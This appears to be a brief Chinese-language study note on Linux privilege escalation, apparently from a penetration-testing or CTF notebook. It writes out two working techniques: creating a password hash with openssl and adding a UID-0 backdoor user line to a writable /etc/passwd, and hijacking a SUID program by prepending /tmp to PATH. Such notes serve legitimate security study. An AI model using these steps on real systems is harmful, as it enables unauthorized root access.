Pasted%20image%2020240411101926

水平权限和垂直权限

可写passwd的话

openssl passwd -1 -salt new 123

写入passwd
new:$1$new$p7ptkEKU1HnaHpRtzNizS1:0:0:root:/root:/bin/bash

suid执行了某个内置命令,用环境变量去劫持
export PATH=/tmp:$PATH